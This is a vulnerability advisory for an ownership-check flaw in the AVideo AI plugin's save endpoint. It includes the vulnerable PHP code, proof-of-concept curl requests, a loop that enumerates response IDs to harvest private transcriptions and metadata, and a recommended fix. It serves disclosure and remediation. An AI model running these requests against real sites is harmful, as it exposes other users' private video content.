Description
## Summary The AI plugin's `save.json.php` endpoint loads AI response objects using an attacker-controlled `$_REQUEST['id']` parameter without validating that the AI response belongs to the specified video. An authenticated user with AI permissions can reference any AI response ID - including those generated for other users' private videos - and apply the stolen AI-generated content (titles, descriptions, keywords, summaries, or full transcriptions) to their own video, effectively exfiltrating the information. ## Details In `plugin/AI/save.json.php`, the authorization flow checks that the user can edit the *target video* (`Video::canEdit($videos_id)` at line 23), but loads the AI response object from a completely separate, user-controlled parameter: **Line 29 - metatags path (no ownership check):** ```php if(!empty($_REQUEST['ai_metatags_responses_id'])){ $ai = new Ai_metatags_responses($_REQUEST['id']); // Loads ANY response by ID if (empty($ai->getcompletion_tokens())) { forbiddenPage('AI Response not found'); } } ``` **Line 146 - transcription path (no ownership check):** ```php case 'text': if(!empty($_REQUEST['ai_transcribe_responses_id'])){ $ait = new Ai_transcribe_responses($_REQUEST['id']); // Loads ANY response by ID $value = $ait->getVtt(); ``` The `ObjectYPT` base class constructor performs a simple database lookup with no authorization: ```php public function __construct($id = "", $refreshCache = false) { if (!empty($id)) { $this->load($id, $refreshCache); // SELECT * WHERE id = ? - no permission check } } ``` The loaded data is then applied to the attacker's video - titles via `$video->setTitle()` (line 49-51), descriptions via `$video->setDescription()` (lines 91-92, 100-101), and transcriptions via `file_put_contents()` (line 156). In contrast, `plugin/AI/delete.json.php` correctly validates ownership by traversing to the parent `Ai_responses` record: ```php // delete.json.php lines 42-44 - CORRECT ownership check $ai = new Ai_responses($aitr->getAi_responses_id()); if ($ai->getVideos_id() == $videos_id) { $obj->ai_transcribe_responses_id = $aitr->delete(); ``` This proves the developers intended ownership validation but omitted it in the save endpoint. ## PoC **Prerequisites:** Two user accounts (attacker and victim), both with `canUseAI` permission. The victim has generated AI metadata or transcription for a private video. **Step 1: Attacker enumerates AI response IDs to steal metadata** AI response IDs are sequential integers. The attacker supplies their own `videos_id` (which they can edit) but references a victim's AI response `id`: ```bash # Attacker owns video ID 5, victim's AI metatags response is ID 42 curl -b "attacker_cookies" \ "https://target.example/plugin/AI/save.json.php" \ -d "videos_id=5&ai_metatags_responses_id=1&id=42&label=videoTitles&index=0" ``` **Expected result:** The victim's AI-generated title (from their private video) is applied to the attacker's video (ID 5). The attacker reads back their video to see the stolen title. **Step 2: Attacker steals full transcription (higher impact)** ```bash # Victim's AI transcription response is ID 17 curl -b "attacker_cookies" \ "https://target.example/plugin/AI/save.json.php" \ -d "videos_id=5&ai_transcribe_responses_id=1&id=17&label=text" ``` **Expected result:** The victim's VTT transcription file is written to the attacker's video directory. The attacker can now access the full spoken content of the victim's private video by requesting the VTT subtitle file for their own video. **Step 3: Enumerate all responses** ```bash # Iterate through sequential IDs to harvest all AI responses for id in $(seq 1 100); do curl -s -b "attacker_cookies" \ "https://target.example/plugin/AI/save.json.php" \ -d "videos_id=5&ai_metatags_responses_id=1&id=${id}&label=videoTitles&index=0" done ``` ## Impact - **Confidentiality breach of private video content:** An attacker can steal full transcriptions (VTT subtitles) generated by AI for other users' private videos, revealing the complete spoken content without ever accessing the video file itself. - **Metadata exfiltration:** AI-generated titles, descriptions, keywords, summaries, and content ratings from other users' private videos can be read by applying them to the attacker's own video. - **Trivial enumeration:** AI response IDs are sequential integers, allowing an attacker to systematically harvest all AI-generated content across the platform. - **Low barrier:** Any user with `canUseAI` permission who owns at least one video can exploit this. No admin access required. ## Recommended Fix Add ownership validation in `save.json.php` matching what `delete.json.php` already does. Load the parent `Ai_responses` record and verify `getVideos_id()` matches the provided `$videos_id`: ```php // For metatags (after line 29): if(!empty($_REQUEST['ai_metatags_responses_id'])){ $ai = new Ai_metatags_responses($_REQUEST['id']); if (empty($ai->getcompletion_tokens())) { forbiddenPage('AI Response not found'); } // ADD: Ownership validation $aiParent = new Ai_responses($ai->getAi_responses_id()); if ($aiParent->getVideos_id() != $videos_id) { forbiddenPage('AI Response does not belong to this video'); } } // For transcriptions (at line 146, inside case 'text'): $ait = new Ai_transcribe_responses($_REQUEST['id']); // ADD: Ownership validation $aitParent = new Ai_responses($ait->getAi_responses_id()); if ($aitParent->getVideos_id() != $videos_id) { forbiddenPage('AI Response does not belong to this video'); } $value = $ait->getVtt(); ```
Analysis
The AVideo AI plugin's save.json.php endpoint fails to validate that AI-generated responses belong to the target video before applying them, allowing authenticated users to exfiltrate private video metadata and full transcriptions by referencing arbitrary AI response IDs. An attacker with canUseAI permission can steal AI-generated titles, descriptions, keywords, summaries, and complete transcription files from other users' private videos through a simple parameter manipulation attack, then apply this stolen content to their own video for reading. …
